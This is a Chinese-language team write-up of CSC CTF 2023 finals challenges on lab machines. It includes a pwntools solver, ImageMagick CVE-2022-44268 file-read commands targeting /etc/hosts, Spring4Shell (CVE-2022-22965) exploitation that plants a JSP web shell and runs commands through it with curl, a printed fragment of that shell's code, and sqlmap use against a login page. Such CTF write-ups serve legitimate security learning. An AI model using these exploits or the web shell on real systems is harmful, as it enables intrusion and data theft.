CSC CTF 2023 決賽

隊伍名稱: 名字好難想RRRRRRRRRRRRRR

無名

教學題

Q4

題目敘述

> 成為「admin」並取得Flag
>
> [連線IP/連結資訊]
> http://192.168.100.71
>
> [備註]
> 答題系統Flag輸入格式：CSC{FLAG_最多長度25可包含數字、英文大小寫、特殊字元及底線}

Exploit

這一題太難了，看了教學檔案還是沒辦法在有效時間內解出來，所以放棄
學長自述:

Q5

題目敘述

> 壞壞恐怖組織要對這邊進行恐攻，丟了一顆定時炸彈，拆彈專家4你???拆彈成功領取豐沛的獎勵吧!
>
> [備註]
> 答題系統Flag輸入格式：CSC{FLAG_最多長度25可包含數字、英文大小寫、特殊字元及底線}

Exploit

測驗智商用的，直接pwntools就可以了

```
from pwn import *

r = process('./Bomb.exe')
r.recvuntil(b'P1ease count A(')
A = r.recvuntil(b')')[:-1].decode()
sign = r.recv(3).decode()
B = r.recvline()[2:-2].decode()

log.info(f'A({A}) {sign} B({B}) = {eval(A + sign + B)}')
r.sendlineafter(b'Enter your answer: ', str(eval(A + sign + B)).encode())

r.interactive()
```

```
$ python exp.py
[+] Starting local process './Bomb.exe': pid 8143
[*] A(1507886)  +  B(7372399) = 8880285
[*] Switching to interactive mode

Good job!\(^^)/
CSC{FLAG_54v3th3d4y7777777}Time's up! (つ•O•)┐ =͟͟͞͞~*
[*] Got EOF while reading in interactive
```

Flag: `CSC{FLAG_54v3th3d4y7777777}`

一般題

Q1

題目敘述

> Company ABC is known to produce services to provide Web3 protection. This company specializes in Zero-knowledge proofs (ZKPs) for distributed devices.
>
> Company ABC provides two services:
>
> 1. ABC_Prover (GetNewChallenge / Get LastValidChallenge), which gives a challenge, and
> 2. ABC_Verify (VerifyAnswers), which expects a true/false response.
>
> If the challenge is answered correctly, the ABC_Verify returns a string with the secret flag. If the answer is wrong, it returns an error message.
> 5 attempts are allowed per challenge. If the 5 attempts are wrong, the challenge changes for a new one.
>
> Both ABC_Prover and ABC_Verify are public services provided by the Company ABC as part of their products.
> You are a hacker who got access to the Example_Oracle (GetExamples) service, which was supposed to be used only for debugging inside the company.
> Your task is, based on the examples you can get from the Example_Oracle service, to break the ABC_Verify service and get the secret flag.
>
> [[IP Info./Website]]
> http://192.168.100.95:50000/WebService1.asmx
>
> [Notes]
> Input CSC Flag Format: CSC{FLAG_with max 25 characters}

Exploit

Q2

題目敘述

> 知識海洋學習無盡，從比賽中找到出口， Flag就藏在這未知的網站裡，嘗試潛入進去找到正確答案吧!
>
> [連線IP/連結資訊]
> 192.168.100.79

> [備註]
> 答題系統Flag輸入格式：CSC{FLAG_最多長度25可包含數字、英文大小寫、特殊字元及底線}

Hint

[提示一]
使用Nmap找到網站對外服務Port

[提示二]
找到登入介面/tournament/login

[提示三]
發現有開啟mysql服務，透過sql injection密碼是不是可以繞過

[提示四]
原始碼裡有特定Url，搭配Cookie的token key解開API

[提示五]
打開API後需要用什麼Decode

Exploit

1. 通靈登入介面
2. sqlmap直接打，有打出time based的部分，就卡住了
3. 另外一組的jin也是卡在這邊

Q7

題目敘述

> 透過情報收集，發現此網頁有上傳檔案服務的一個頁面，是一個免費的開源跨平台軟件套件，發現此版本可能有漏洞可利用。
> 此測試機存在一個上傳圖片的服務，且它存在著某個漏洞，讓你有機會可以進行攻擊，拿到內部存在的資料
>
> [連線IP/連結資訊]
> 192.168.100.83
>
> [備註]
> 答題系統Flag輸入格式：CSC{FLAG_最多長度25可包含數字、英文大小寫、特殊字元及底線}

Hint

[提示一]
網頁服務使用了什麼圖片編輯工具?檢視原始碼有重要訊息!

[提示二]
網頁弱點為ImageMagick 任意文件讀取

[提示三]
請上傳圖片得到必要訊息

[提示四]
下載上傳後的圖片分析內容

Exploit

1. 先掃port: nmap->8080
2. 確認目前的開源工具為ImageMagick
3. 搜尋一下ImageMagick的Vulnerability->CVE-2022-44268
4. 用現成工具

```
$ sudo apt-get install pngcrush exiftool exiv2 -y
$ pngcrush -text a "profile" "/etc/hosts" abc.png
$ exiv2 -pS pngout.png
```

上傳到系統，如果該檔案存在就會回傳一張圖片到前端供我們下載，之後就可以用exiftool分析

```
$ exiftool return.png
...
Raw Profile Type                : ..      13.65393237393432343666633300a.
...
$ python -c "print(bytes.fromhex('65393237393432343666633300a').decode('utf-8'))"
e92794246fc0
```

目前不知道具體flag的位置和檔案名稱

賽後和asef以及cccccc有聊到這一題，發現居然是在前端的code有一串base64被hidden，裡面其實就是flag檔案的絕對位置，幹...真的通好久啊

Q8

題目敘述

> 你透過情報收集，聽聞某集團子公司有項服務上線使用的測試主機(192.168.100.88)因資訊人員便宜行事竟放在公開網路上。
> 此測試機(Spring Framework)的某項專案裡存在一個Web表單服務(/greeting)，它存在著某個漏洞，讓你有機會可以進行攻擊，你需要先找到正確的服務端口與頁面，並藉由這個程式的漏洞取得遠端主機的控制權限，進而取得公司內部資料(flag.txt)。
>
> [連線IP/連結資訊]
> 192.168.100.88
>
> [備註]
> 答題系統Flag輸入格式：CSC{FLAG_最多長度25可包含數字、英文大小寫、特殊字元及底線}

Hint

[提示一]
使用Nmap與目錄掃描工具(http://192.168.100.88:???/???/greeting)

[提示二]
AccessLogValve

[提示三]
也許有公開的POC使用?

[提示四]
Webshell + URL Encode

[提示五]
找不到資料?使用linux指令find / -type f –name 來找看看吧

Exploit

1. 先用nmap掃Port -> 8888
2. dirsearch看sub folder -> hello

```
$ dirsearch -u "http://192.168.100.88:8888"
...
400   795B
http://192.168.100.88:8888/\..\..\..\..\..\..\..\..\..\etc\passwd
400   795B   http://192.168.100.88:8888/a%5c.aspx
302     0B   http://192.168.100.88:8888/hello    -> REDIRECTS TO: /hello/
...
```

3. 得知路徑為http://192.168.100.88:8888/hello/greeting
4. 根據AccessLogValve得知漏洞應該為CVE-2022-22965
5. 直接使用現成工具達到RCE

```
$ python exploit-core.py --url "http://192.168.100.88:8888/hello/greeting" --
file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://192.168.100.88:8888/shell.jsp?cmd=id
$ curl http://192.168.100.88:8888/shell.jsp\?cmd\=find%20/%20-
iname%20flag.txt --output -
/usr/local/share/man/flag.txt
$ curl http://192.168.100.88:8888/shell.jsp\?
cmd\=cat%20/usr/local/share/man/flag.txt --output -
CSC{FLAG_can_we_cut_to_the_chase?}

//
- java.io.InputStream in =
-.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a =
-1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new
String(b)); } -
```

記得要注意URL encode
Flag: `CSC{FLAG_can_we_cut_to_the_chase?}1`